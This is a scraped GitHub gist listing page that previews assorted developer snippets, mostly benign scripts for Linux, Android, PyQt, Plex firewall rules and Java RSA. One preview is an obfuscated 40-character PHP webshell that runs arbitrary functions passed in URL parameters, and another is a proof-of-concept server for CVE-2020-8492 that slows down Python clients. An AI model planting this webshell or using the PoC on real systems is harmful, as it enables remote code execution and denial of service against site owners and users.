Skip to content

Instantly share code, notes, and snippets.

View simao-silva's full-sized avatar

Simão Silva simao-silva

  • Aveiro, Portugal
View GitHub Profile
@mrcomoraes
mrcomoraes / clear_cache_MS_Teams.sh
Last active February 16, 2024 22:55
Clear cache Microsoft Teams on Linux
#!/bin/bash
# This script cleans all cache for Microsoft Teams on Linux
# Tested on Ubuntu-like, Debian by @necrifede, Arch Linux by @lucas-dclrcq and Manjaro with flatpak by @danie1k. Feel free to test/use in other distributions.
# Tested Teams via snap package.
# Tested Teams via flatpak package.
#
# How to use in terminal:
# ./clear_cache_MS_Teams.sh ( deb-stable | deb-insider | snap | flatpak )
# or
@davidfraser
davidfraser / MaliciousServer3.py
Last active April 5, 2020 00:02
Speed tests for CVE-2020-8492
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_basic_auth(n_commas):
commas = "," * n_commas
return f"basic {commas}A"
comma_tests = [100, 250, 500, 750, 1000, 1250, 1500, 65509]
i = 0
class Handler(BaseHTTPRequestHandler):
@Biswa96
Biswa96 / Remove_MIUI_Bloatware.CMD
Last active April 7, 2024 15:38
Remove bloatware applications from MIUI ROM in Xiaomi phones
@echo off
set /p Y=Enter adb.exe folder path:
cd /d %Y%
adb devices
pause
for %%X in (
"com.amazon.appmanager"
"com.android.browser"
"com.android.chrome"
"com.android.email"
abroad.api.comm.intl.miui.com
account-alpha.vip.miui.com
account.vip.miui.com
act.browser.india.miui.com
act.browser.intl.miui.com
act.browser.miui.com
activities.xk.miui.com
activity.browser.intl.miui.com
adinfo.ra1.xlmc.sec.miui.com
admin.cloudctl.inf.miui.com
@mvisat
mvisat / webshell.php
Created July 16, 2018 06:02
PHP Mini Webshell without Letters and Numbers (40 characters)
<?=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
// $_GET[_]($_GET[__]);
@kittinan
kittinan / client.py
Last active April 30, 2024 03:37
Python OpenCV webcam send image frame over socket
import cv2
import io
import socket
import struct
import time
import pickle
import zlib
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('192.168.1.124', 8485))
@r00tdaemon
r00tdaemon / Install PyQt5 on Ubuntu with python3 .md
Last active February 23, 2024 04:50
Install PyQt5 on Ubuntu with python3. Steps to set up PyQt5 (ubuntu). With python code generation

Installation

pip3 install --user pyqt5  
sudo apt-get install python3-pyqt5  
sudo apt-get install pyqt5-dev-tools
sudo apt-get install qttools5-dev-tools

Configuring to run from terminal

@nmaggioni
nmaggioni / ufw_plex.md
Last active April 23, 2024 19:54 — forked from andrey-str/ufw plexmediaserver app profile.md
Plex Media Server UFW rule

/etc/ufw/applications.d/plexmediaserver

[plexmediaserver]
title=Plex Media Server (Standard)
description=The Plex Media Server
ports=32400/tcp|3005/tcp|5353/udp|8324/tcp|32410:32414/udp

[plexmediaserver-dlna]
title=Plex Media Server (DLNA)
description=The Plex Media Server (additional DLNA capability only)
@nielsutrecht
nielsutrecht / RsaExample.java
Created December 28, 2016 14:13
Example of RSA generation, sign, verify, encryption, decryption and keystores in Java
import javax.crypto.Cipher;
import java.io.InputStream;
import java.security.*;
import java.util.Base64;
import static java.nio.charset.StandardCharsets.UTF_8;
public class RsaExample {
public static KeyPair generateKeyPair() throws Exception {
KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
@stefangordon
stefangordon / mjpegexample.js
Created December 21, 2016 16:13
React Native MJPEG
var styles = StyleSheet.create({
backgroundVideo: {
width:400,
height:322
}
})
return (
<View>
<WebView